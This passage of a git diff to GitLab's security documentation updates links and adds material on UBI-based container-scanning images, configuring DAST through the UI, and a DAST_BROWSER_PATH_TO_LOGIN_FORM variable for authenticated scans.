+ and [`after_script`](../../../ci/yaml/index.md#after_script)
blocks may not work with the new version. To roll back to the previous [`alpine:3.11.3`](https://hub.docker.com/_/alpine)-based
Docker image, you can specify the major version through the [`CS_MAJOR_VERSION`](#available-cicd-variables)
variable.
@@ -101,7 +101,7 @@ The included template:
(see [requirements](#requirements)) and scans it for possible vulnerabilities.
GitLab saves the results as a
-[Container Scanning report artifact](../../../ci/yaml/README.md#artifactsreportscontainer_scanning)
+[Container Scanning report artifact](../../../ci/yaml/index.md#artifactsreportscontainer_scanning)
that you can download and analyze later. When downloading, you always receive the most-recent
artifact.
@@ -130,12 +130,12 @@ include:
There may be cases where you want to customize how GitLab scans your containers. For example, you
may want to enable more verbose output, access a Docker registry that requires
-authentication, and more. To change such settings, use the [`variables`](../../../ci/yaml/README.md#variables)
+authentication, and more. To change such settings, use the [`variables`](../../../ci/yaml/index.md#variables)
parameter in your `.gitlab-ci.yml` to set [CI/CD variables](#available-cicd-variables).
The variables you set in your `.gitlab-ci.yml` overwrite those in
`Container-Scanning.gitlab-ci.yml`.
-This example [includes](../../../ci/yaml/README.md#include) the container scanning template and
+This example [includes](../../../ci/yaml/index.md#include) the container scanning template and
enables verbose output for the analyzer:
```yaml
@@ -172,6 +172,21 @@ Support depends on the scanner:
- [Grype](https://github.com/anchore/grype#grype)
- [Trivy](https://aquasecurity.github.io/trivy/latest/vuln-detection/os/) (Default).
+#### UBI-based images
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5775) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 14.1.
+
+GitLab also offers [Red Hat UBI](https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image)
+versions of the container-scanning images. You can therefore replace standard images with UBI-based
+images. To configure the images, set the `CS_ANALYZER_IMAGE` variable to the standard tag plus the
+`-ubi` extension.
+
+| Scanner name | `CS_ANALYZER_IMAGE` |
+| --------------- | ------------------- |
+| Default (Trivy) | `registry.gitlab.com/security-products/container-scanning:4-ubi` |
+| Grype | `registry.gitlab.com/security-products/container-scanning/grype:4-ubi` |
+| Trivy | `registry.gitlab.com/security-products/container-scanning/trivy:4-ubi` |
+
### Overriding the container scanning template
If you want to override the job definition (for example, to change properties like `variables`), you
@@ -189,11 +204,6 @@ container_scanning:
GIT_STRATEGY: fetch
```
-WARNING:
-GitLab 13.0 and later doesn't support [`only` and `except`](../../../ci/yaml/README.md#only--except).
-When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules)
-instead.
-
### Change scanners
The container-scanning analyzer can use different scanners, depending on the value of the
@@ -256,7 +266,7 @@ container_scanning:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Vulnerability allowlisting
diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md
index b46547b6828..679d20a6394 100644
--- a/doc/user/application_security/coverage_fuzzing/index.md
+++ b/doc/user/application_security/coverage_fuzzing/index.md
@@ -13,7 +13,7 @@ random inputs to an instrumented version of your application in an effort to cau
behavior, such as a crash. Such behavior indicates a bug that you should address.
We recommend that you use fuzz testing in addition to the other security scanners in [GitLab Secure](../index.md)
-and your own test processes. If you're using [GitLab CI/CD](../../../ci/README.md),
+and your own test processes. If you're using [GitLab CI/CD](../../../ci/index.md),
you can run your coverage-guided fuzz tests as part your CI/CD workflow. You can take advantage of
coverage-guided fuzzing by including the CI job in your existing `.gitlab-ci.yml` file.
@@ -38,7 +38,7 @@ Docker image with the fuzz engine to run your app.
## Configuration
To enable fuzzing, you must
-[include](../../../ci/yaml/README.md#includetemplate)
+[include](../../../ci/yaml/index.md#includetemplate)
the [`Coverage-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml)
provided as part of your GitLab installation.
@@ -59,8 +59,8 @@ my_fuzz_target:
- ./gitlab-cov-fuzz run --regression=$REGRESSION -- <your fuzz target>
```
-The included template makes available the [hidden job](../../../ci/yaml/README.md#hide-jobs)
-`.fuzz_base`, which you must [extend](../../../ci/yaml/README.md#extends) for each of your fuzz
+The included template makes available the [hidden job](../../../ci/yaml/index.md#hide-jobs)
+`.fuzz_base`, which you must [extend](../../../ci/yaml/index.md#extends) for each of your fuzz
targets. Each fuzz target **must** have a separate job. For example, the
[go-fuzzing-example project](https://gitlab.com/gitlab-org/security-products/demos/go-fuzzing-example)
contains one job that extends `.fuzz_base` for its single fuzz target.
@@ -192,7 +192,7 @@ To use coverage fuzzing in an offline environment, follow these steps:
### Continuous fuzzing (long-running asynchronous fuzzing jobs)
It's also possible to run the fuzzing jobs longer and without blocking your main pipeline. This
-configuration uses the GitLab [parent-child pipelines](../../../ci/parent_child_pipelines.md).
+configuration uses the GitLab [parent-child pipelines](../../../ci/pipelines/parent_child_pipelines.md).
The full example is available in the [repository](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/-/tree/continuous_fuzzing#running-go-fuzz-from-ci).
This example uses Go, but is applicable for any other supported languages.
diff --git a/doc/user/application_security/dast/browser_based.md b/doc/user/application_security/dast/browser_based.md
index 072f6fba4ba..1288db21880 100644
--- a/doc/user/application_security/dast/browser_based.md
+++ b/doc/user/application_security/dast/browser_based.md
@@ -21,7 +21,7 @@ Crawling continues by taking more snapshots and finding subsequent actions.
The benefit of crawling by following user actions in a browser is that the crawler can interact with the target application much like a real user would, identifying complex flows that traditional web crawlers don’t understand. This results in better coverage of the website.
-Scanning a web application with both the browser-based crawler and GitLab DAST should provide greater coverage, compared with only GitLab DAST. The new crawler does not support API scanning or the DAST AJAX crawler.
+Using the browser-based crawler should provide greater coverage for most web applications, compared with the current DAST AJAX crawler. The new crawler replaces the AJAX crawler and is specifically designed to maximize crawl coverage in modern web applications. While both crawlers are currently used in conjunction with the existing DAST scanner, the combination of the browser-based crawler with the current DAST scanner is much more effective at finding and testing every page in an application.
## Enable browser-based crawler
@@ -63,8 +63,8 @@ The browser-based crawler can be configured using CI/CD variables.
The [DAST variables](index.md#available-cicd-variables) `SECURE_ANALYZERS_PREFIX`, `DAST_FULL_SCAN_ENABLED`, `DAST_AUTO_UPDATE_ADDONS`, `DAST_EXCLUDE_RULES`, `DAST_REQUEST_HEADERS`, `DAST_HTML_REPORT`, `DAST_MARKDOWN_REPORT`, `DAST_XML_REPORT`,
`DAST_AUTH_URL`, `DAST_USERNAME`, `DAST_PASSWORD`, `DAST_USERNAME_FIELD`, `DAST_PASSWORD_FIELD`, `DAST_FIRST_SUBMIT_FIELD`, `DAST_SUBMIT_FIELD`, `DAST_EXCLUDE_URLS`, `DAST_AUTH_VERIFICATION_URL`, `DAST_BROWSER_AUTH_VERIFICATION_SELECTOR`, `DAST_BROWSER_AUTH_VERIFICATION_LOGIN_FORM`, `DAST_BROWSER_AUTH_REPORT`,
-`DAST_INCLUDE_ALPHA_VULNERABILITIES`, `DAST_PATHS_FILE`, `DAST_PATHS`, `DAST_ZAP_CLI_OPTIONS`, and `DAST_ZAP_LOG_CONFIGURATION` are also compatible with browser-based crawler scans.
-
+`DAST_INCLUDE_ALPHA_VULNERABILITIES`, `DAST_PATHS_FILE`, `DAST_PATHS`, `DAST_ZAP_CLI_OPTIONS`, and `DAST_ZAP_LOG_CONFIGURATION` are also compatible with browser-based crawler scans.
+
## Vulnerability detection
While the browser-based crawler crawls modern web applications efficiently, vulnerability detection is still managed by the standard DAST/Zed Attack Proxy (ZAP) solution.
diff --git a/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png b/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png
index 132c9f9c991..3369956a5ed 100644
--- a/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png
+++ b/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png
Binary files differ
diff --git a/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png b/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png
index 4e1dca626bc..34e7a2e4ab4 100644
--- a/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png
+++ b/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png
Binary files differ
diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md
index 675d01373d4..4b10f03fec3 100644
--- a/doc/user/application_security/dast/index.md
+++ b/doc/user/application_security/dast/index.md
@@ -50,7 +50,7 @@ results. On failure, the analyzer outputs an
## Prerequisites
-- [GitLab Runner](../../../ci/runners/README.md) available, with the
+- [GitLab Runner](../../../ci/runners/index.md) available, with the
[`docker` executor](https://docs.gitlab.com/runner/executors/docker.html).
- Target application deployed. For more details, read [Deployment options](#deployment-options).
@@ -145,6 +145,7 @@ To enable DAST to run automatically, either:
by [Auto DevOps](../../../topics/autodevops/index.md)).
- [Include the DAST template](#include-the-dast-template) in your existing
`.gitlab-ci.yml` file.
+- [Configure DAST using the UI](#configure-dast-using-the-ui).
### DAST job order
@@ -202,7 +203,7 @@ To include the DAST template:
1. Add the template to GitLab, based on your version of GitLab:
- - In GitLab 11.9 and later, [include](../../../ci/yaml/README.md#includetemplate)
+ - In GitLab 11.9 and later, [include](../../../ci/yaml/index.md#includetemplate)
the template by adding the following to your `.gitlab-ci.yml` file:
```yaml
@@ -218,7 +219,7 @@ To include the DAST template:
1. Define the URL to be scanned by DAST by using one of these methods:
- - Set the `DAST_WEBSITE` [CI/CD variable](../../../ci/yaml/README.md#variables).
+ - Set the `DAST_WEBSITE` [CI/CD variable](../../../ci/yaml/index.md#variables).
If set, this value takes precedence.
- Add the URL in an `environment_url.txt` file at the root of your project. This is
@@ -247,10 +248,10 @@ The included template creates a `dast` job in your CI/CD pipeline and scans
your project's running application for possible vulnerabilities.
The results are saved as a
-[DAST report artifact](../../../ci/yaml/README.md#artifactsreportsdast)
+[DAST report artifact](../../../ci/yaml/index.md#artifactsreportsdast)
that you can later download and analyze. Due to implementation limitations, we
always take the latest DAST artifact available. Behind the scenes, the
-[GitLab DAST Docker image](https://gitlab.com/gitlab-org/security-products/dast)
+[GitLab DAST Docker image](https://gitlab.com/security-products/dast)
is used to run the tests on the specified URL and scan it for possible
vulnerabilities.
@@ -262,9 +263,31 @@ image. Using the `DAST_VERSION` variable, you can choose how DAST updates:
- Only update fixes by pinning to a minor version (such as `1.6`).
- Prevent all updates by pinning to a specific version (such as `1.6.4`).
-Find the latest DAST versions on the [Releases](https://gitlab.com/gitlab-org/security-products/dast/-/releases)
+Find the latest DAST versions on the [Releases](https://gitlab.com/security-products/dast/-/releases)
page.
+#### Configure DAST using the UI
+
+You can enable or configure DAST settings using the UI. The generated settings are formatted so they
+can be conveniently pasted into the `.gitlab-ci.yml` file.
+
+1. From the project's home page, go to **Security & Compliance > Configuration**.
+1. In the **Dynamic Application Security Testing (DAST)** section, select **Enable DAST** or
+ **Configure DAST**.
+1. Select the desired **Scanner profile**, or select **Create scanner profile** and save a
+ scanner profile. For more details, see [scanner profiles](#scanner-profile).
+1. Select the desired **Site profile**, or select **Create site profile** and save a site
+ profile. For more details, see [site profiles](#site-profile).
+1. Select **Generate code snippet**. A modal opens with the YAML snippet corresponding to the
+ options you selected.
+1. Do one of the following:
+ 1. Select **Copy code only** to copy the snippet to your clipboard.
+ 1. Select **Copy code and open `.gitlab-ci.yml` file** to copy the snippet to your clipboard. The
+ CI/CD Editor then opens.
+ 1. Paste the snippet into the `.gitlab-ci.yml` file.
+ 1. Select the **Lint** tab to confirm the edited `.gitlab-ci.yml` file is valid.
+ 1. Select **Commit changes**.
+
#### Crawling web applications dependent on JavaScript
GitLab has released a new browser-based crawler, an add-on to DAST that uses a browser to crawl web applications for content. This crawler replaces the standard DAST Spider and Ajax Crawler, and uses the same authentication mechanisms as a normal DAST scan.
@@ -487,11 +510,11 @@ To view details of vulnerabilities detected by DAST:
### Customizing the DAST settings
WARNING:
-Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#only--except)
-is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
+Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/index.md#only--except)
+is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/index.md#rules) instead.
The DAST settings can be changed through CI/CD variables by using the
-[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
+[`variables`](../../../ci/yaml/index.md#variables) parameter in `.gitlab-ci.yml`.
These variables are documented in [available variables](#available-cicd-variables).
For example:
@@ -505,7 +528,7 @@ variables:
DAST_SPIDER_MINS: 120
```
-Because the template is [evaluated before](../../../ci/yaml/README.md#include) the pipeline
+Because the template is [evaluated before](../../../ci/yaml/index.md#include) the pipeline
configuration, the last mention of the variable takes precedence.
#### Enabling and disabling rules
@@ -523,7 +546,7 @@ DAST scan with both configured exits with an error.
By default, several rules are disabled because they either take a long time to
run or frequently generate false positives. The complete list of disabled rules
-can be found in [exclude_rules.yml](https://gitlab.com/gitlab-org/security-products/dast/-/blob/master/src/config/exclude_rules.yml).
+can be found in [exclude_rules.yml](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/src/config/exclude_rules.yml).
### Hide sensitive information
@@ -550,7 +573,7 @@ you periodically confirm the scanner's authentication is still working, as this
time due to authentication changes to the application.
Create masked CI/CD variables to pass the credentials that DAST uses.
-To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables).
+To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables).
The key of the username variable must be `DAST_USERNAME`,
and the key of the password variable must be `DAST_PASSWORD`.
@@ -570,6 +593,7 @@ dast:
variables:
DAST_WEBSITE: "https://example.com"
DAST_AUTH_URL: "https://login.example.com/"
+ DAST_BROWSER_PATH_TO_LOGIN_FORM: "css:.navigation-menu,css:.login-menu-item" # optional list of selectors that should be clicked on prior to attempting to input username/password into the sign-in HTML form
DAST_USERNAME: "admin"
DAST_PASSWORD: "P@55w0rd!"
DAST_USERNAME_FIELD: "name:username" # a selector describing the element containing the username field at the sign-in HTML form
@@ -646,7 +670,7 @@ dast:
DAST_WEBSITE: "https://example.com"
...
DAST_AUTH_VERIFICATION_URL: "https://example.com/user/welcome"
-```
+```
#### Verify based on presence of an element
@@ -664,7 +688,7 @@ dast:
DAST_WEBSITE: "https://example.com"
...
DAST_AUTH_VERIFICATION_SELECTOR: "css:.welcome-user"
-```
+```
#### Verify based on presence of a login form
@@ -682,7 +706,38 @@ dast:
DAST_WEBSITE: "https://example.com"
...
DAST_AUTH_VERIFICATION_LOGIN_FORM: "true"
-```
+```
+
+### View the login form
+
+Many web applications show the user the login form in a pop-up (modal) window.
+For these applications, navigating to the form requires both:
+
+- A starting URL.
+- A list of elements to click to display the modal window.
+
+When `DAST_BROWSER_PATH_TO_LOGIN_FORM` is present, like in this example:
+
+```yaml
+include:
+ - template: DAST.gitlab-ci.yml
+
+dast:
+ variables:
+ DAST_WEBSITE: "https://my.site.com"
+ ...
+ DAST_AUTH_URL: "https://my.site.com/admin"
+ DAST_BROWSER_PATH_TO_LOGIN_FORM: "css:.navigation-menu,css:.login-menu-item"
+```
+
+DAST performs these actions:
+
+1. Load the `DAST_AUTH_URL` page, such as `https://my.site.com/admin`.
+1. After the page loads, DAST selects elements found by the selectors described
+ in `DAST_BROWSER_PATH_TO_LOGIN_FORM`. This example opens the navigation menu
+ and selects the login menu, to display the login modal window.
+1. To continue the authentication process, DAST fills in the username and password
+ on the login form.
### Configure the authentication debug output
@@ -702,55 +757,60 @@ dast:
DAST_AUTH_REPORT: "true"
artifacts:
paths: [gl-dast-debug-auth-report.html]
+ when: always
```
### Available CI/CD variables
-DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables.
-
-| CI/CD variable | Type | Description |
-|:--------------------------------------------|:--------------|:-----------------------------------|
-| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. |
-| `DAST_WEBSITE` (**1**) | URL | The URL of the website to scan. `DAST_API_OPENAPI` must be specified if this is omitted. |
-| `DAST_API_OPENAPI` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
-| `DAST_API_SPECIFICATION` (**1**) | URL or string | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290241) in GitLab 13.12 and replaced by `DAST_API_OPENAPI`. To be removed in GitLab 15.0. The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
-| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. |
-| `DAST_AUTH_URL` (**1**) | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. |
-| `DAST_AUTH_VERIFICATION_URL` (**1**) | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST exits if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8. |
-| `DAST_USERNAME` (**1**) | string | The username to enter into the username field on the sign-in HTML form. |
-| `DAST_PASSWORD` (**1**) | string | The password to enter into the password field on the sign-in HTML form. |
-| `DAST_USERNAME_FIELD` (**1**) | selector | A selector describing the username field on the sign-in HTML form. Example: `id:user` |
-| `DAST_PASSWORD_FIELD` (**1**) | selector | A selector describing the password field on the sign-in HTML form. Example: `css:.password-field` |
-| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. |
-| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). |
-| `DAST_EXCLUDE_URLS` (**1**) | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
-| `DAST_FULL_SCAN_ENABLED` (**1**) | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` |
-| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` |
-| `DAST_API_HOST_OVERRIDE` (**1**) | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` |
-| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). For example, `HTTP Parameter Override` has a rule ID of `10026`. Cannot be used when `DAST_ONLY_INCLUDE_RULES` is set. **Note:** In earlier versions of GitLab the excluded rules were executed but vulnerabilities they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. |
-| `DAST_ONLY_INCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to configure the scan to run only them. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). Cannot be used when `DAST_EXCLUDE_RULES` is set. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250651) in GitLab 13.12. |
-| `DAST_REQUEST_HEADERS` (**1**) | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` |
-| `DAST_DEBUG` (**1**) | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_TARGET_AVAILABILITY_TIMEOUT` (**1**) | number | Time limit in seconds to wait for target availability.
-| `DAST_SPIDER_MINS` (**1**) | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_USE_AJAX_SPIDER` (**1**) | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. |
-| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
-| `DAST_SUBMIT_FIELD` | selector | A selector describing the element that when clicked submits the login form, or the password form of a multi-page login process. Example: `xpath://input[@value='Login']`. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
-| `DAST_FIRST_SUBMIT_FIELD` | selector | A selector describing the element that when clicked submits the username form of a multi-page login process. Example: `.submit`. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
-| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
-| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` |
-| `DAST_AGGREGATE_VULNERABILITIES` | boolean | Vulnerability aggregation is set to `true` by default. To disable this feature and see each vulnerability individually set to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254043) in GitLab 14.0. |
-| `DAST_MAX_URLS_PER_VULNERABILITY` | number | The maximum number of URLs reported for a single vulnerability. `DAST_MAX_URLS_PER_VULNERABILITY` is set to `50` by default. To list all the URLs set to `0`. [Introduced](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/433) in GitLab 13.12. |
-| `DAST_AUTH_REPORT` | boolean | Used in combination with exporting the `gl-dast-debug-auth-report.html` artifact to aid in debugging authentication issues. |
-| `DAST_AUTH_VERIFICATION_SELECTOR` | selector | Verifies successful authentication by checking for presence of a selector once the login form has been submitted. Example: `css:.user-photo` |
-| `DAST_AUTH_VERIFICATION_LOGIN_FORM` | boolean | Verifies successful authentication by checking for the lack of a login form once the login form has been submitted. |
-
-1. DAST CI/CD variable available to an on-demand scan.
+You can use CI/CD variables to customize DAST.
+
+| CI/CD variable | Type | Description |
+|:------------------------------------------------|:--------------|:-------------------------------|
+| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. |
+| `DAST_WEBSITE` <sup>1</sup> | URL | The URL of the website to scan. `DAST_API_OPENAPI` must be specified if this is omitted. |
+| `DAST_API_OPENAPI` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
+| `DAST_API_SPECIFICATION` <sup>1</sup> | URL or string | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290241) in GitLab 13.12 and replaced by `DAST_API_OPENAPI`. To be removed in GitLab 15.0. The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. |
+| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. |
+| `DAST_AUTH_URL` <sup>1</sup> | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. |
+| `DAST_BROWSER_PATH_TO_LOGIN_FORM` <sup>1</sup> | selector | Comma-separated list of selectors that will be clicked on prior to attempting to enter `DAST_USERNAME` and `DAST_PASSWORD` into the login form. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/326633) in GitLab 14.1. |
+| `DAST_USERNAME` <sup>1</sup> | string | The username to authenticate to in the website. |
+| `DAST_PASSWORD` <sup>1</sup> | string | The password to authenticate to in the website. |
+| `DAST_USERNAME_FIELD` <sup>1</sup> | string | The name of username field at the sign-in HTML form. |
+| `DAST_PASSWORD_FIELD` <sup>1</sup> | string | The name of password field at the sign-in HTML form. |
+| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. |
+| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). |
+| `DAST_EXCLUDE_URLS` <sup>1</sup> | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
+| `DAST_FULL_SCAN_ENABLED` <sup>1</sup> | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` |
+| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293595)** in GitLab 14.0. Set to `true` to require domain validation when running DAST full scans. Not supported for API scans. Default: `false` |
+| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` |
+| `DAST_API_HOST_OVERRIDE` <sup>1</sup> | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` |
+| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). For example, `HTTP Parameter Override` has a rule ID of `10026`. Cannot be used when `DAST_ONLY_INCLUDE_RULES` is set. **Note:** In earlier versions of GitLab the excluded rules were executed but vulnerabilities they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. |
+| `DAST_ONLY_INCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to configure the scan to run only them. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). Cannot be used when `DAST_EXCLUDE_RULES` is set. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250651) in GitLab 13.12. |
+| `DAST_REQUEST_HEADERS` <sup>1</sup> | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` |
+| `DAST_DEBUG` <sup>1</sup> | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_TARGET_AVAILABILITY_TIMEOUT` <sup>1</sup> | number | Time limit in seconds to wait for target availability. |
+| `DAST_SPIDER_MINS` <sup>1</sup> | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
